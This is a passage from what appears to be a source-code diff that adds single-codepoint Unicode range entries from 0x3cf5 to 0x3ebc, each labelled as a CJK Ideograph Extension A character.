+ [0x3cf5, 0x3cf5], /* CJK Ideograph Extension A */
+ [0x3cf6, 0x3cf6], /* CJK Ideograph Extension A */
+ [0x3cf7, 0x3cf7], /* CJK Ideograph Extension A */
+ [0x3cf8, 0x3cf8], /* CJK Ideograph Extension A */
+ [0x3cf9, 0x3cf9], /* CJK Ideograph Extension A */
+ [0x3cfa, 0x3cfa], /* CJK Ideograph Extension A */
+ [0x3cfb, 0x3cfb], /* CJK Ideograph Extension A */
+ [0x3cfc, 0x3cfc], /* CJK Ideograph Extension A */
+ [0x3cfd, 0x3cfd], /* CJK Ideograph Extension A */
+ [0x3cfe, 0x3cfe], /* CJK Ideograph Extension A */
+ [0x3cff, 0x3cff], /* CJK Ideograph Extension A */
+ [0x3d00, 0x3d00], /* CJK Ideograph Extension A */
+ [0x3d01, 0x3d01], /* CJK Ideograph Extension A */
+ [0x3d02, 0x3d02], /* CJK Ideograph Extension A */
+ [0x3d03, 0x3d03], /* CJK Ideograph Extension A */
+ [0x3d04, 0x3d04], /* CJK Ideograph Extension A */
+ [0x3d05, 0x3d05], /* CJK Ideograph Extension A */
+ [0x3d06, 0x3d06], /* CJK Ideograph Extension A */
+ [0x3d07, 0x3d07], /* CJK Ideograph Extension A */
+ [0x3d08, 0x3d08], /* CJK Ideograph Extension A */
+ [0x3d09, 0x3d09], /* CJK Ideograph Extension A */
+ [0x3d0a, 0x3d0a], /* CJK Ideograph Extension A */
+ [0x3d0b, 0x3d0b], /* CJK Ideograph Extension A */
+ [0x3d0c, 0x3d0c], /* CJK Ideograph Extension A */
+ [0x3d0d, 0x3d0d], /* CJK Ideograph Extension A */
+ [0x3d0e, 0x3d0e], /* CJK Ideograph Extension A */
+ [0x3d0f, 0x3d0f], /* CJK Ideograph Extension A */
+ [0x3d10, 0x3d10], /* CJK Ideograph Extension A */
+ [0x3d11, 0x3d11], /* CJK Ideograph Extension A */
+ [0x3d12, 0x3d12], /* CJK Ideograph Extension A */
+ [0x3d13, 0x3d13], /* CJK Ideograph Extension A */
+ [0x3d14, 0x3d14], /* CJK Ideograph Extension A */
+ [0x3d15, 0x3d15], /* CJK Ideograph Extension A */
+ [0x3d16, 0x3d16], /* CJK Ideograph Extension A */
+ [0x3d17, 0x3d17], /* CJK Ideograph Extension A */
+ [0x3d18, 0x3d18], /* CJK Ideograph Extension A */
+ [0x3d19, 0x3d19], /* CJK Ideograph Extension A */
+ [0x3d1a, 0x3d1a], /* CJK Ideograph Extension A */
+ [0x3d1b, 0x3d1b], /* CJK Ideograph Extension A */
+ [0x3d1c, 0x3d1c], /* CJK Ideograph Extension A */
+ [0x3d1d, 0x3d1d], /* CJK Ideograph Extension A */
+ [0x3d1e, 0x3d1e], /* CJK Ideograph Extension A */
+ [0x3d1f, 0x3d1f], /* CJK Ideograph Extension A */
+ [0x3d20, 0x3d20], /* CJK Ideograph Extension A */
+ [0x3d21, 0x3d21], /* CJK Ideograph Extension A */
+ [0x3d22, 0x3d22], /* CJK Ideograph Extension A */
+ [0x3d23, 0x3d23], /* CJK Ideograph Extension A */
+ [0x3d24, 0x3d24], /* CJK Ideograph Extension A */
+ [0x3d25, 0x3d25], /* CJK Ideograph Extension A */
+ [0x3d26, 0x3d26], /* CJK Ideograph Extension A */
+ [0x3d27, 0x3d27], /* CJK Ideograph Extension A */
+ [0x3d28, 0x3d28], /* CJK Ideograph Extension A */
+ [0x3d29, 0x3d29], /* CJK Ideograph Extension A */
+ [0x3d2a, 0x3d2a], /* CJK Ideograph Extension A */
+ [0x3d2b, 0x3d2b], /* CJK Ideograph Extension A */
+ [0x3d2c, 0x3d2c], /* CJK Ideograph Extension A */
+ [0x3d2d, 0x3d2d], /* CJK Ideograph Extension A */
+ [0x3d2e, 0x3d2e], /* CJK Ideograph Extension A */
+ [0x3d2f, 0x3d2f], /* CJK Ideograph Extension A */
+ [0x3d30, 0x3d30], /* CJK Ideograph Extension A */
+ [0x3d31, 0x3d31], /* CJK Ideograph Extension A */
+ [0x3d32, 0x3d32], /* CJK Ideograph Extension A */
+ [0x3d33, 0x3d33], /* CJK Ideograph Extension A */
+ [0x3d34, 0x3d34], /* CJK Ideograph Extension A */
+ [0x3d35, 0x3d35], /* CJK Ideograph Extension A */
+ [0x3d36, 0x3d36], /* CJK Ideograph Extension A */
+ [0x3d37, 0x3d37], /* CJK Ideograph Extension A */
+ [0x3d38, 0x3d38], /* CJK Ideograph Extension A */
+ [0x3d39, 0x3d39], /* CJK Ideograph Extension A */
+ [0x3d3a, 0x3d3a], /* CJK Ideograph Extension A */
+ [0x3d3b, 0x3d3b], /* CJK Ideograph Extension A */
+ [0x3d3c, 0x3d3c], /* CJK Ideograph Extension A */
+ [0x3d3d, 0x3d3d], /* CJK Ideograph Extension A */
+ [0x3d3e, 0x3d3e], /* CJK Ideograph Extension A */
+ [0x3d3f, 0x3d3f], /* CJK Ideograph Extension A */
+ [0x3d40, 0x3d40], /* CJK Ideograph Extension A */
+ [0x3d41, 0x3d41], /* CJK Ideograph Extension A */
+ [0x3d42, 0x3d42], /* CJK Ideograph Extension A */
+ [0x3d43, 0x3d43], /* CJK Ideograph Extension A */
+ [0x3d44, 0x3d44], /* CJK Ideograph Extension A */
+ [0x3d45, 0x3d45], /* CJK Ideograph Extension A */
+ [0x3d46, 0x3d46], /* CJK Ideograph Extension A */
+ [0x3d47, 0x3d47], /* CJK Ideograph Extension A */
+ [0x3d48, 0x3d48], /* CJK Ideograph Extension A */
+ [0x3d49, 0x3d49], /* CJK Ideograph Extension A */
+ [0x3d4a, 0x3d4a], /* CJK Ideograph Extension A */
+ [0x3d4b, 0x3d4b], /* CJK Ideograph Extension A */
+ [0x3d4c, 0x3d4c], /* CJK Ideograph Extension A */
+ [0x3d4d, 0x3d4d], /* CJK Ideograph Extension A */
+ [0x3d4e, 0x3d4e], /* CJK Ideograph Extension A */
+ [0x3d4f, 0x3d4f], /* CJK Ideograph Extension A */
+ [0x3d50, 0x3d50], /* CJK Ideograph Extension A */
+ [0x3d51, 0x3d51], /* CJK Ideograph Extension A */
+ [0x3d52, 0x3d52], /* CJK Ideograph Extension A */
+ [0x3d53, 0x3d53], /* CJK Ideograph Extension A */
+ [0x3d54, 0x3d54], /* CJK Ideograph Extension A */
+ [0x3d55, 0x3d55], /* CJK Ideograph Extension A */
+ [0x3d56, 0x3d56], /* CJK Ideograph Extension A */
+ [0x3d57, 0x3d57], /* CJK Ideograph Extension A */
+ [0x3d58, 0x3d58], /* CJK Ideograph Extension A */
+ [0x3d59, 0x3d59], /* CJK Ideograph Extension A */
+ [0x3d5a, 0x3d5a], /* CJK Ideograph Extension A */
+ [0x3d5b, 0x3d5b], /* CJK Ideograph Extension A */
+ [0x3d5c, 0x3d5c], /* CJK Ideograph Extension A */
+ [0x3d5d, 0x3d5d], /* CJK Ideograph Extension A */
+ [0x3d5e, 0x3d5e], /* CJK Ideograph Extension A */
+ [0x3d5f, 0x3d5f], /* CJK Ideograph Extension A */
+ [0x3d60, 0x3d60], /* CJK Ideograph Extension A */
+ [0x3d61, 0x3d61], /* CJK Ideograph Extension A */
+ [0x3d62, 0x3d62], /* CJK Ideograph Extension A */
+ [0x3d63, 0x3d63], /* CJK Ideograph Extension A */
+ [0x3d64, 0x3d64], /* CJK Ideograph Extension A */
+ [0x3d65, 0x3d65], /* CJK Ideograph Extension A */
+ [0x3d66, 0x3d66], /* CJK Ideograph Extension A */
+ [0x3d67, 0x3d67], /* CJK Ideograph Extension A */
+ [0x3d68, 0x3d68], /* CJK Ideograph Extension A */
+ [0x3d69, 0x3d69], /* CJK Ideograph Extension A */
+ [0x3d6a, 0x3d6a], /* CJK Ideograph Extension A */
+ [0x3d6b, 0x3d6b], /* CJK Ideograph Extension A */
+ [0x3d6c, 0x3d6c], /* CJK Ideograph Extension A */
+ [0x3d6d, 0x3d6d], /* CJK Ideograph Extension A */
+ [0x3d6e, 0x3d6e], /* CJK Ideograph Extension A */
+ [0x3d6f, 0x3d6f], /* CJK Ideograph Extension A */
+ [0x3d70, 0x3d70], /* CJK Ideograph Extension A */
+ [0x3d71, 0x3d71], /* CJK Ideograph Extension A */
+ [0x3d72, 0x3d72], /* CJK Ideograph Extension A */
+ [0x3d73, 0x3d73], /* CJK Ideograph Extension A */
+ [0x3d74, 0x3d74], /* CJK Ideograph Extension A */
+ [0x3d75, 0x3d75], /* CJK Ideograph Extension A */
+ [0x3d76, 0x3d76], /* CJK Ideograph Extension A */
+ [0x3d77, 0x3d77], /* CJK Ideograph Extension A */
+ [0x3d78, 0x3d78], /* CJK Ideograph Extension A */
+ [0x3d79, 0x3d79], /* CJK Ideograph Extension A */
+ [0x3d7a, 0x3d7a], /* CJK Ideograph Extension A */
+ [0x3d7b, 0x3d7b], /* CJK Ideograph Extension A */
+ [0x3d7c, 0x3d7c], /* CJK Ideograph Extension A */
+ [0x3d7d, 0x3d7d], /* CJK Ideograph Extension A */
+ [0x3d7e, 0x3d7e], /* CJK Ideograph Extension A */
+ [0x3d7f, 0x3d7f], /* CJK Ideograph Extension A */
+ [0x3d80, 0x3d80], /* CJK Ideograph Extension A */
+ [0x3d81, 0x3d81], /* CJK Ideograph Extension A */
+ [0x3d82, 0x3d82], /* CJK Ideograph Extension A */
+ [0x3d83, 0x3d83], /* CJK Ideograph Extension A */
+ [0x3d84, 0x3d84], /* CJK Ideograph Extension A */
+ [0x3d85, 0x3d85], /* CJK Ideograph Extension A */
+ [0x3d86, 0x3d86], /* CJK Ideograph Extension A */
+ [0x3d87, 0x3d87], /* CJK Ideograph Extension A */
+ [0x3d88, 0x3d88], /* CJK Ideograph Extension A */
+ [0x3d89, 0x3d89], /* CJK Ideograph Extension A */
+ [0x3d8a, 0x3d8a], /* CJK Ideograph Extension A */
+ [0x3d8b, 0x3d8b], /* CJK Ideograph Extension A */
+ [0x3d8c, 0x3d8c], /* CJK Ideograph Extension A */
+ [0x3d8d, 0x3d8d], /* CJK Ideograph Extension A */
+ [0x3d8e, 0x3d8e], /* CJK Ideograph Extension A */
+ [0x3d8f, 0x3d8f], /* CJK Ideograph Extension A */
+ [0x3d90, 0x3d90], /* CJK Ideograph Extension A */
+ [0x3d91, 0x3d91], /* CJK Ideograph Extension A */
+ [0x3d92, 0x3d92], /* CJK Ideograph Extension A */
+ [0x3d93, 0x3d93], /* CJK Ideograph Extension A */
+ [0x3d94, 0x3d94], /* CJK Ideograph Extension A */
+ [0x3d95, 0x3d95], /* CJK Ideograph Extension A */
+ [0x3d96, 0x3d96], /* CJK Ideograph Extension A */
+ [0x3d97, 0x3d97], /* CJK Ideograph Extension A */
+ [0x3d98, 0x3d98], /* CJK Ideograph Extension A */
+ [0x3d99, 0x3d99], /* CJK Ideograph Extension A */
+ [0x3d9a, 0x3d9a], /* CJK Ideograph Extension A */
+ [0x3d9b, 0x3d9b], /* CJK Ideograph Extension A */
+ [0x3d9c, 0x3d9c], /* CJK Ideograph Extension A */
+ [0x3d9d, 0x3d9d], /* CJK Ideograph Extension A */
+ [0x3d9e, 0x3d9e], /* CJK Ideograph Extension A */
+ [0x3d9f, 0x3d9f], /* CJK Ideograph Extension A */
+ [0x3da0, 0x3da0], /* CJK Ideograph Extension A */
+ [0x3da1, 0x3da1], /* CJK Ideograph Extension A */
+ [0x3da2, 0x3da2], /* CJK Ideograph Extension A */
+ [0x3da3, 0x3da3], /* CJK Ideograph Extension A */
+ [0x3da4, 0x3da4], /* CJK Ideograph Extension A */
+ [0x3da5, 0x3da5], /* CJK Ideograph Extension A */
+ [0x3da6, 0x3da6], /* CJK Ideograph Extension A */
+ [0x3da7, 0x3da7], /* CJK Ideograph Extension A */
+ [0x3da8, 0x3da8], /* CJK Ideograph Extension A */
+ [0x3da9, 0x3da9], /* CJK Ideograph Extension A */
+ [0x3daa, 0x3daa], /* CJK Ideograph Extension A */
+ [0x3dab, 0x3dab], /* CJK Ideograph Extension A */
+ [0x3dac, 0x3dac], /* CJK Ideograph Extension A */
+ [0x3dad, 0x3dad], /* CJK Ideograph Extension A */
+ [0x3dae, 0x3dae], /* CJK Ideograph Extension A */
+ [0x3daf, 0x3daf], /* CJK Ideograph Extension A */
+ [0x3db0, 0x3db0], /* CJK Ideograph Extension A */
+ [0x3db1, 0x3db1], /* CJK Ideograph Extension A */
+ [0x3db2, 0x3db2], /* CJK Ideograph Extension A */
+ [0x3db3, 0x3db3], /* CJK Ideograph Extension A */
+ [0x3db4, 0x3db4], /* CJK Ideograph Extension A */
+ [0x3db5, 0x3db5], /* CJK Ideograph Extension A */
+ [0x3db6, 0x3db6], /* CJK Ideograph Extension A */
+ [0x3db7, 0x3db7], /* CJK Ideograph Extension A */
+ [0x3db8, 0x3db8], /* CJK Ideograph Extension A */
+ [0x3db9, 0x3db9], /* CJK Ideograph Extension A */
+ [0x3dba, 0x3dba], /* CJK Ideograph Extension A */
+ [0x3dbb, 0x3dbb], /* CJK Ideograph Extension A */
+ [0x3dbc, 0x3dbc], /* CJK Ideograph Extension A */
+ [0x3dbd, 0x3dbd], /* CJK Ideograph Extension A */
+ [0x3dbe, 0x3dbe], /* CJK Ideograph Extension A */
+ [0x3dbf, 0x3dbf], /* CJK Ideograph Extension A */
+ [0x3dc0, 0x3dc0], /* CJK Ideograph Extension A */
+ [0x3dc1, 0x3dc1], /* CJK Ideograph Extension A */
+ [0x3dc2, 0x3dc2], /* CJK Ideograph Extension A */
+ [0x3dc3, 0x3dc3], /* CJK Ideograph Extension A */
+ [0x3dc4, 0x3dc4], /* CJK Ideograph Extension A */
+ [0x3dc5, 0x3dc5], /* CJK Ideograph Extension A */
+ [0x3dc6, 0x3dc6], /* CJK Ideograph Extension A */
+ [0x3dc7, 0x3dc7], /* CJK Ideograph Extension A */
+ [0x3dc8, 0x3dc8], /* CJK Ideograph Extension A */
+ [0x3dc9, 0x3dc9], /* CJK Ideograph Extension A */
+ [0x3dca, 0x3dca], /* CJK Ideograph Extension A */
+ [0x3dcb, 0x3dcb], /* CJK Ideograph Extension A */
+ [0x3dcc, 0x3dcc], /* CJK Ideograph Extension A */
+ [0x3dcd, 0x3dcd], /* CJK Ideograph Extension A */
+ [0x3dce, 0x3dce], /* CJK Ideograph Extension A */
+ [0x3dcf, 0x3dcf], /* CJK Ideograph Extension A */
+ [0x3dd0, 0x3dd0], /* CJK Ideograph Extension A */
+ [0x3dd1, 0x3dd1], /* CJK Ideograph Extension A */
+ [0x3dd2, 0x3dd2], /* CJK Ideograph Extension A */
+ [0x3dd3, 0x3dd3], /* CJK Ideograph Extension A */
+ [0x3dd4, 0x3dd4], /* CJK Ideograph Extension A */
+ [0x3dd5, 0x3dd5], /* CJK Ideograph Extension A */
+ [0x3dd6, 0x3dd6], /* CJK Ideograph Extension A */
+ [0x3dd7, 0x3dd7], /* CJK Ideograph Extension A */
+ [0x3dd8, 0x3dd8], /* CJK Ideograph Extension A */
+ [0x3dd9, 0x3dd9], /* CJK Ideograph Extension A */
+ [0x3dda, 0x3dda], /* CJK Ideograph Extension A */
+ [0x3ddb, 0x3ddb], /* CJK Ideograph Extension A */
+ [0x3ddc, 0x3ddc], /* CJK Ideograph Extension A */
+ [0x3ddd, 0x3ddd], /* CJK Ideograph Extension A */
+ [0x3dde, 0x3dde], /* CJK Ideograph Extension A */
+ [0x3ddf, 0x3ddf], /* CJK Ideograph Extension A */
+ [0x3de0, 0x3de0], /* CJK Ideograph Extension A */
+ [0x3de1, 0x3de1], /* CJK Ideograph Extension A */
+ [0x3de2, 0x3de2], /* CJK Ideograph Extension A */
+ [0x3de3, 0x3de3], /* CJK Ideograph Extension A */
+ [0x3de4, 0x3de4], /* CJK Ideograph Extension A */
+ [0x3de5, 0x3de5], /* CJK Ideograph Extension A */
+ [0x3de6, 0x3de6], /* CJK Ideograph Extension A */
+ [0x3de7, 0x3de7], /* CJK Ideograph Extension A */
+ [0x3de8, 0x3de8], /* CJK Ideograph Extension A */
+ [0x3de9, 0x3de9], /* CJK Ideograph Extension A */
+ [0x3dea, 0x3dea], /* CJK Ideograph Extension A */
+ [0x3deb, 0x3deb], /* CJK Ideograph Extension A */
+ [0x3dec, 0x3dec], /* CJK Ideograph Extension A */
+ [0x3ded, 0x3ded], /* CJK Ideograph Extension A */
+ [0x3dee, 0x3dee], /* CJK Ideograph Extension A */
+ [0x3def, 0x3def], /* CJK Ideograph Extension A */
+ [0x3df0, 0x3df0], /* CJK Ideograph Extension A */
+ [0x3df1, 0x3df1], /* CJK Ideograph Extension A */
+ [0x3df2, 0x3df2], /* CJK Ideograph Extension A */
+ [0x3df3, 0x3df3], /* CJK Ideograph Extension A */
+ [0x3df4, 0x3df4], /* CJK Ideograph Extension A */
+ [0x3df5, 0x3df5], /* CJK Ideograph Extension A */
+ [0x3df6, 0x3df6], /* CJK Ideograph Extension A */
+ [0x3df7, 0x3df7], /* CJK Ideograph Extension A */
+ [0x3df8, 0x3df8], /* CJK Ideograph Extension A */
+ [0x3df9, 0x3df9], /* CJK Ideograph Extension A */
+ [0x3dfa, 0x3dfa], /* CJK Ideograph Extension A */
+ [0x3dfb, 0x3dfb], /* CJK Ideograph Extension A */
+ [0x3dfc, 0x3dfc], /* CJK Ideograph Extension A */
+ [0x3dfd, 0x3dfd], /* CJK Ideograph Extension A */
+ [0x3dfe, 0x3dfe], /* CJK Ideograph Extension A */
+ [0x3dff, 0x3dff], /* CJK Ideograph Extension A */
+ [0x3e00, 0x3e00], /* CJK Ideograph Extension A */
+ [0x3e01, 0x3e01], /* CJK Ideograph Extension A */
+ [0x3e02, 0x3e02], /* CJK Ideograph Extension A */
+ [0x3e03, 0x3e03], /* CJK Ideograph Extension A */
+ [0x3e04, 0x3e04], /* CJK Ideograph Extension A */
+ [0x3e05, 0x3e05], /* CJK Ideograph Extension A */
+ [0x3e06, 0x3e06], /* CJK Ideograph Extension A */
+ [0x3e07, 0x3e07], /* CJK Ideograph Extension A */
+ [0x3e08, 0x3e08], /* CJK Ideograph Extension A */
+ [0x3e09, 0x3e09], /* CJK Ideograph Extension A */
+ [0x3e0a, 0x3e0a], /* CJK Ideograph Extension A */
+ [0x3e0b, 0x3e0b], /* CJK Ideograph Extension A */
+ [0x3e0c, 0x3e0c], /* CJK Ideograph Extension A */
+ [0x3e0d, 0x3e0d], /* CJK Ideograph Extension A */
+ [0x3e0e, 0x3e0e], /* CJK Ideograph Extension A */
+ [0x3e0f, 0x3e0f], /* CJK Ideograph Extension A */
+ [0x3e10, 0x3e10], /* CJK Ideograph Extension A */
+ [0x3e11, 0x3e11], /* CJK Ideograph Extension A */
+ [0x3e12, 0x3e12], /* CJK Ideograph Extension A */
+ [0x3e13, 0x3e13], /* CJK Ideograph Extension A */
+ [0x3e14, 0x3e14], /* CJK Ideograph Extension A */
+ [0x3e15, 0x3e15], /* CJK Ideograph Extension A */
+ [0x3e16, 0x3e16], /* CJK Ideograph Extension A */
+ [0x3e17, 0x3e17], /* CJK Ideograph Extension A */
+ [0x3e18, 0x3e18], /* CJK Ideograph Extension A */
+ [0x3e19, 0x3e19], /* CJK Ideograph Extension A */
+ [0x3e1a, 0x3e1a], /* CJK Ideograph Extension A */
+ [0x3e1b, 0x3e1b], /* CJK Ideograph Extension A */
+ [0x3e1c, 0x3e1c], /* CJK Ideograph Extension A */
+ [0x3e1d, 0x3e1d], /* CJK Ideograph Extension A */
+ [0x3e1e, 0x3e1e], /* CJK Ideograph Extension A */
+ [0x3e1f, 0x3e1f], /* CJK Ideograph Extension A */
+ [0x3e20, 0x3e20], /* CJK Ideograph Extension A */
+ [0x3e21, 0x3e21], /* CJK Ideograph Extension A */
+ [0x3e22, 0x3e22], /* CJK Ideograph Extension A */
+ [0x3e23, 0x3e23], /* CJK Ideograph Extension A */
+ [0x3e24, 0x3e24], /* CJK Ideograph Extension A */
+ [0x3e25, 0x3e25], /* CJK Ideograph Extension A */
+ [0x3e26, 0x3e26], /* CJK Ideograph Extension A */
+ [0x3e27, 0x3e27], /* CJK Ideograph Extension A */
+ [0x3e28, 0x3e28], /* CJK Ideograph Extension A */
+ [0x3e29, 0x3e29], /* CJK Ideograph Extension A */
+ [0x3e2a, 0x3e2a], /* CJK Ideograph Extension A */
+ [0x3e2b, 0x3e2b], /* CJK Ideograph Extension A */
+ [0x3e2c, 0x3e2c], /* CJK Ideograph Extension A */
+ [0x3e2d, 0x3e2d], /* CJK Ideograph Extension A */
+ [0x3e2e, 0x3e2e], /* CJK Ideograph Extension A */
+ [0x3e2f, 0x3e2f], /* CJK Ideograph Extension A */
+ [0x3e30, 0x3e30], /* CJK Ideograph Extension A */
+ [0x3e31, 0x3e31], /* CJK Ideograph Extension A */
+ [0x3e32, 0x3e32], /* CJK Ideograph Extension A */
+ [0x3e33, 0x3e33], /* CJK Ideograph Extension A */
+ [0x3e34, 0x3e34], /* CJK Ideograph Extension A */
+ [0x3e35, 0x3e35], /* CJK Ideograph Extension A */
+ [0x3e36, 0x3e36], /* CJK Ideograph Extension A */
+ [0x3e37, 0x3e37], /* CJK Ideograph Extension A */
+ [0x3e38, 0x3e38], /* CJK Ideograph Extension A */
+ [0x3e39, 0x3e39], /* CJK Ideograph Extension A */
+ [0x3e3a, 0x3e3a], /* CJK Ideograph Extension A */
+ [0x3e3b, 0x3e3b], /* CJK Ideograph Extension A */
+ [0x3e3c, 0x3e3c], /* CJK Ideograph Extension A */
+ [0x3e3d, 0x3e3d], /* CJK Ideograph Extension A */
+ [0x3e3e, 0x3e3e], /* CJK Ideograph Extension A */
+ [0x3e3f, 0x3e3f], /* CJK Ideograph Extension A */
+ [0x3e40, 0x3e40], /* CJK Ideograph Extension A */
+ [0x3e41, 0x3e41], /* CJK Ideograph Extension A */
+ [0x3e42, 0x3e42], /* CJK Ideograph Extension A */
+ [0x3e43, 0x3e43], /* CJK Ideograph Extension A */
+ [0x3e44, 0x3e44], /* CJK Ideograph Extension A */
+ [0x3e45, 0x3e45], /* CJK Ideograph Extension A */
+ [0x3e46, 0x3e46], /* CJK Ideograph Extension A */
+ [0x3e47, 0x3e47], /* CJK Ideograph Extension A */
+ [0x3e48, 0x3e48], /* CJK Ideograph Extension A */
+ [0x3e49, 0x3e49], /* CJK Ideograph Extension A */
+ [0x3e4a, 0x3e4a], /* CJK Ideograph Extension A */
+ [0x3e4b, 0x3e4b], /* CJK Ideograph Extension A */
+ [0x3e4c, 0x3e4c], /* CJK Ideograph Extension A */
+ [0x3e4d, 0x3e4d], /* CJK Ideograph Extension A */
+ [0x3e4e, 0x3e4e], /* CJK Ideograph Extension A */
+ [0x3e4f, 0x3e4f], /* CJK Ideograph Extension A */
+ [0x3e50, 0x3e50], /* CJK Ideograph Extension A */
+ [0x3e51, 0x3e51], /* CJK Ideograph Extension A */
+ [0x3e52, 0x3e52], /* CJK Ideograph Extension A */
+ [0x3e53, 0x3e53], /* CJK Ideograph Extension A */
+ [0x3e54, 0x3e54], /* CJK Ideograph Extension A */
+ [0x3e55, 0x3e55], /* CJK Ideograph Extension A */
+ [0x3e56, 0x3e56], /* CJK Ideograph Extension A */
+ [0x3e57, 0x3e57], /* CJK Ideograph Extension A */
+ [0x3e58, 0x3e58], /* CJK Ideograph Extension A */
+ [0x3e59, 0x3e59], /* CJK Ideograph Extension A */
+ [0x3e5a, 0x3e5a], /* CJK Ideograph Extension A */
+ [0x3e5b, 0x3e5b], /* CJK Ideograph Extension A */
+ [0x3e5c, 0x3e5c], /* CJK Ideograph Extension A */
+ [0x3e5d, 0x3e5d], /* CJK Ideograph Extension A */
+ [0x3e5e, 0x3e5e], /* CJK Ideograph Extension A */
+ [0x3e5f, 0x3e5f], /* CJK Ideograph Extension A */
+ [0x3e60, 0x3e60], /* CJK Ideograph Extension A */
+ [0x3e61, 0x3e61], /* CJK Ideograph Extension A */
+ [0x3e62, 0x3e62], /* CJK Ideograph Extension A */
+ [0x3e63, 0x3e63], /* CJK Ideograph Extension A */
+ [0x3e64, 0x3e64], /* CJK Ideograph Extension A */
+ [0x3e65, 0x3e65], /* CJK Ideograph Extension A */
+ [0x3e66, 0x3e66], /* CJK Ideograph Extension A */
+ [0x3e67, 0x3e67], /* CJK Ideograph Extension A */
+ [0x3e68, 0x3e68], /* CJK Ideograph Extension A */
+ [0x3e69, 0x3e69], /* CJK Ideograph Extension A */
+ [0x3e6a, 0x3e6a], /* CJK Ideograph Extension A */
+ [0x3e6b, 0x3e6b], /* CJK Ideograph Extension A */
+ [0x3e6c, 0x3e6c], /* CJK Ideograph Extension A */
+ [0x3e6d, 0x3e6d], /* CJK Ideograph Extension A */
+ [0x3e6e, 0x3e6e], /* CJK Ideograph Extension A */
+ [0x3e6f, 0x3e6f], /* CJK Ideograph Extension A */
+ [0x3e70, 0x3e70], /* CJK Ideograph Extension A */
+ [0x3e71, 0x3e71], /* CJK Ideograph Extension A */
+ [0x3e72, 0x3e72], /* CJK Ideograph Extension A */
+ [0x3e73, 0x3e73], /* CJK Ideograph Extension A */
+ [0x3e74, 0x3e74], /* CJK Ideograph Extension A */
+ [0x3e75, 0x3e75], /* CJK Ideograph Extension A */
+ [0x3e76, 0x3e76], /* CJK Ideograph Extension A */
+ [0x3e77, 0x3e77], /* CJK Ideograph Extension A */
+ [0x3e78, 0x3e78], /* CJK Ideograph Extension A */
+ [0x3e79, 0x3e79], /* CJK Ideograph Extension A */
+ [0x3e7a, 0x3e7a], /* CJK Ideograph Extension A */
+ [0x3e7b, 0x3e7b], /* CJK Ideograph Extension A */
+ [0x3e7c, 0x3e7c], /* CJK Ideograph Extension A */
+ [0x3e7d, 0x3e7d], /* CJK Ideograph Extension A */
+ [0x3e7e, 0x3e7e], /* CJK Ideograph Extension A */
+ [0x3e7f, 0x3e7f], /* CJK Ideograph Extension A */
+ [0x3e80, 0x3e80], /* CJK Ideograph Extension A */
+ [0x3e81, 0x3e81], /* CJK Ideograph Extension A */
+ [0x3e82, 0x3e82], /* CJK Ideograph Extension A */
+ [0x3e83, 0x3e83], /* CJK Ideograph Extension A */
+ [0x3e84, 0x3e84], /* CJK Ideograph Extension A */
+ [0x3e85, 0x3e85], /* CJK Ideograph Extension A */
+ [0x3e86, 0x3e86], /* CJK Ideograph Extension A */
+ [0x3e87, 0x3e87], /* CJK Ideograph Extension A */
+ [0x3e88, 0x3e88], /* CJK Ideograph Extension A */
+ [0x3e89, 0x3e89], /* CJK Ideograph Extension A */
+ [0x3e8a, 0x3e8a], /* CJK Ideograph Extension A */
+ [0x3e8b, 0x3e8b], /* CJK Ideograph Extension A */
+ [0x3e8c, 0x3e8c], /* CJK Ideograph Extension A */
+ [0x3e8d, 0x3e8d], /* CJK Ideograph Extension A */
+ [0x3e8e, 0x3e8e], /* CJK Ideograph Extension A */
+ [0x3e8f, 0x3e8f], /* CJK Ideograph Extension A */
+ [0x3e90, 0x3e90], /* CJK Ideograph Extension A */
+ [0x3e91, 0x3e91], /* CJK Ideograph Extension A */
+ [0x3e92, 0x3e92], /* CJK Ideograph Extension A */
+ [0x3e93, 0x3e93], /* CJK Ideograph Extension A */
+ [0x3e94, 0x3e94], /* CJK Ideograph Extension A */
+ [0x3e95, 0x3e95], /* CJK Ideograph Extension A */
+ [0x3e96, 0x3e96], /* CJK Ideograph Extension A */
+ [0x3e97, 0x3e97], /* CJK Ideograph Extension A */
+ [0x3e98, 0x3e98], /* CJK Ideograph Extension A */
+ [0x3e99, 0x3e99], /* CJK Ideograph Extension A */
+ [0x3e9a, 0x3e9a], /* CJK Ideograph Extension A */
+ [0x3e9b, 0x3e9b], /* CJK Ideograph Extension A */
+ [0x3e9c, 0x3e9c], /* CJK Ideograph Extension A */
+ [0x3e9d, 0x3e9d], /* CJK Ideograph Extension A */
+ [0x3e9e, 0x3e9e], /* CJK Ideograph Extension A */
+ [0x3e9f, 0x3e9f], /* CJK Ideograph Extension A */
+ [0x3ea0, 0x3ea0], /* CJK Ideograph Extension A */
+ [0x3ea1, 0x3ea1], /* CJK Ideograph Extension A */
+ [0x3ea2, 0x3ea2], /* CJK Ideograph Extension A */
+ [0x3ea3, 0x3ea3], /* CJK Ideograph Extension A */
+ [0x3ea4, 0x3ea4], /* CJK Ideograph Extension A */
+ [0x3ea5, 0x3ea5], /* CJK Ideograph Extension A */
+ [0x3ea6, 0x3ea6], /* CJK Ideograph Extension A */
+ [0x3ea7, 0x3ea7], /* CJK Ideograph Extension A */
+ [0x3ea8, 0x3ea8], /* CJK Ideograph Extension A */
+ [0x3ea9, 0x3ea9], /* CJK Ideograph Extension A */
+ [0x3eaa, 0x3eaa], /* CJK Ideograph Extension A */
+ [0x3eab, 0x3eab], /* CJK Ideograph Extension A */
+ [0x3eac, 0x3eac], /* CJK Ideograph Extension A */
+ [0x3ead, 0x3ead], /* CJK Ideograph Extension A */
+ [0x3eae, 0x3eae], /* CJK Ideograph Extension A */
+ [0x3eaf, 0x3eaf], /* CJK Ideograph Extension A */
+ [0x3eb0, 0x3eb0], /* CJK Ideograph Extension A */
+ [0x3eb1, 0x3eb1], /* CJK Ideograph Extension A */
+ [0x3eb2, 0x3eb2], /* CJK Ideograph Extension A */
+ [0x3eb3, 0x3eb3], /* CJK Ideograph Extension A */
+ [0x3eb4, 0x3eb4], /* CJK Ideograph Extension A */
+ [0x3eb5, 0x3eb5], /* CJK Ideograph Extension A */
+ [0x3eb6, 0x3eb6], /* CJK Ideograph Extension A */
+ [0x3eb7, 0x3eb7], /* CJK Ideograph Extension A */
+ [0x3eb8, 0x3eb8], /* CJK Ideograph Extension A */
+ [0x3eb9, 0x3eb9], /* CJK Ideograph Extension A */
+ [0x3eba, 0x3eba], /* CJK Ideograph Extension A */
+ [0x3ebb, 0x3ebb], /* CJK Ideograph Extension A */
+ [0x3ebc, 0x3ebc], /* CJK Ideograph Extension A */
